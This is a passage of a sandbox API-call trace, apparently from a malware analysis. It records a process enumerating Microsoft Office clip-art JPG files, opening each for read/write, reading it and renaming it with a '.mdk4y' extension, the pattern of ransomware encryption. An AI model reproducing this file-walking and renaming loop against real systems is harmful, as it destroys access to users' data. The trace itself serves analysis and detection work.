returned 1 [0169.400] AreFileApisANSI () returned 1 [0169.400] GetACP () returned 0x4e4 [0169.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382965.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382965.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824463100000) returned 1 [0169.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bb02, lpOverlapped=0x0) returned 1 [0169.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824464700000) returned 1 [0169.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824464800000) returned 1 [0169.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.mdk4y")) returned 1 [0169.420] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.420] AreFileApisANSI () returned 1 [0169.420] GetACP () returned 0x4e4 [0169.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382966.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382966.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.420] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824465100000) returned 1 [0169.421] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18888, lpOverlapped=0x0) returned 1 [0169.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824465300000) returned 1 [0169.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824465300000) returned 1 [0169.425] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.mdk4y")) returned 1 [0169.426] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.426] AreFileApisANSI () returned 1 [0169.426] GetACP () returned 0x4e4 [0169.426] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382967.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382967.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.426] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824465700000) returned 1 [0169.427] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16d08, lpOverlapped=0x0) returned 1 [0169.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824466800000) returned 1 [0169.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824466800000) returned 1 [0169.439] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.mdk4y")) returned 1 [0169.440] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.440] AreFileApisANSI () returned 1 [0169.440] GetACP () returned 0x4e4 [0169.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382968.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382968.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.441] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824467200000) returned 1 [0169.442] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b75f, lpOverlapped=0x0) returned 1 [0169.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824467400000) returned 1 [0169.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824467400000) returned 1 [0169.446] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.mdk4y")) returned 1 [0169.446] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.446] AreFileApisANSI () returned 1 [0169.447] GetACP () returned 0x4e4 [0169.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382969.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382969.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.447] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824467800000) returned 1 [0169.448] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1779f, lpOverlapped=0x0) returned 1 [0169.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824468000000) returned 1 [0169.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824468000000) returned 1 [0169.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.mdk4y")) returned 1 [0169.452] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.452] AreFileApisANSI () returned 1 [0169.452] GetACP () returned 0x4e4 [0169.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382970.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382970.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.453] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824468300000) returned 1 [0169.453] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15b94, lpOverlapped=0x0) returned 1 [0169.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824468500000) returned 1 [0169.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824468500000) returned 1 [0169.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.mdk4y")) returned 1 [0169.457] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.457] AreFileApisANSI () returned 1 [0169.457] GetACP () returned 0x4e4 [0169.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0384862.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0384862.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824468800000) returned 1 [0169.458] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x190e9, lpOverlapped=0x0) returned 1 [0169.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824469000000) returned 1 [0169.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824469000000) returned 1 [0169.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.mdk4y")) returned 1 [0169.462] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.462] AreFileApisANSI () returned 1 [0169.462] GetACP () returned 0x4e4 [0169.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0384885.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0384885.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.462] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824469200000) returned 1 [0169.462] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17b79, lpOverlapped=0x0) returned 1 [0169.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824470300000) returned 1 [0169.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824470300000) returned 1 [0169.474] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.mdk4y")) returned 1 [0169.475] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.475] AreFileApisANSI () returned 1 [0169.475] GetACP () returned 0x4e4 [0169.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0384888.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0384888.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.476] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824470600000) returned 1 [0169.476] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14033, lpOverlapped=0x0) returned 1 [0169.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824470800000) returned 1 [0169.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824470800000) returned 1 [0169.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.mdk4y")) returned 1 [0169.480] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.480] AreFileApisANSI () returned 1 [0169.480] GetACP () returned 0x4e4 [0169.480] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0384895.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0384895.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.480] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824471100000) returned 1 [0169.481] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd8f6, lpOverlapped=0x0) returned 1 [0169.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824471300000) returned 1 [0169.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824471300000) returned 1 [0169.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.mdk4y")) returned 1 [0169.484] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.484] AreFileApisANSI () returned 1 [0169.484] GetACP () returned 0x4e4 [0169.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0384900.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0384900.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.485] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824471600000) returned 1 [0169.486] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11780, lpOverlapped=0x0) returned 1 [0169.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824471700000) returned 1 [0169.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824471700000) returned 1 [0169.489] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.mdk4y")) returned 1 [0169.490] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.490] AreFileApisANSI () returned 1 [0169.490] GetACP () returned 0x4e4 [0169.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0386120.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0386120.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.490] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824472000000) returned 1 [0169.490] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x787a, lpOverlapped=0x0) returned 1 [0169.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824472900000) returned 1 [0169.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824472900000) returned 1 [0169.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.mdk4y")) returned 1 [0169.501] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.501] AreFileApisANSI () returned 1 [0169.501] GetACP () returned 0x4e4 [0169.501] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0386267.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0386267.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.501] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824473100000) returned 1 [0169.501] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa91e, lpOverlapped=0x0) returned 1 [0169.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824473300000) returned 1 [0169.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824473300000) returned 1 [0169.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.mdk4y")) returned 1 [0169.505] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.505] AreFileApisANSI () returned 1 [0169.505] GetACP () returned 0x4e4 [0169.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0386270.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0386270.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.505] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824473800000) returned 1 [0169.509] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b43, lpOverlapped=0x0) returned 1 [0169.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824474000000) returned 1 [0169.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824474000000) returned 1 [0169.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.mdk4y")) returned 1 [0169.512] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.512] AreFileApisANSI () returned 1 [0169.512] GetACP () returned 0x4e4 [0169.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0386485.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0386485.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.512] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: 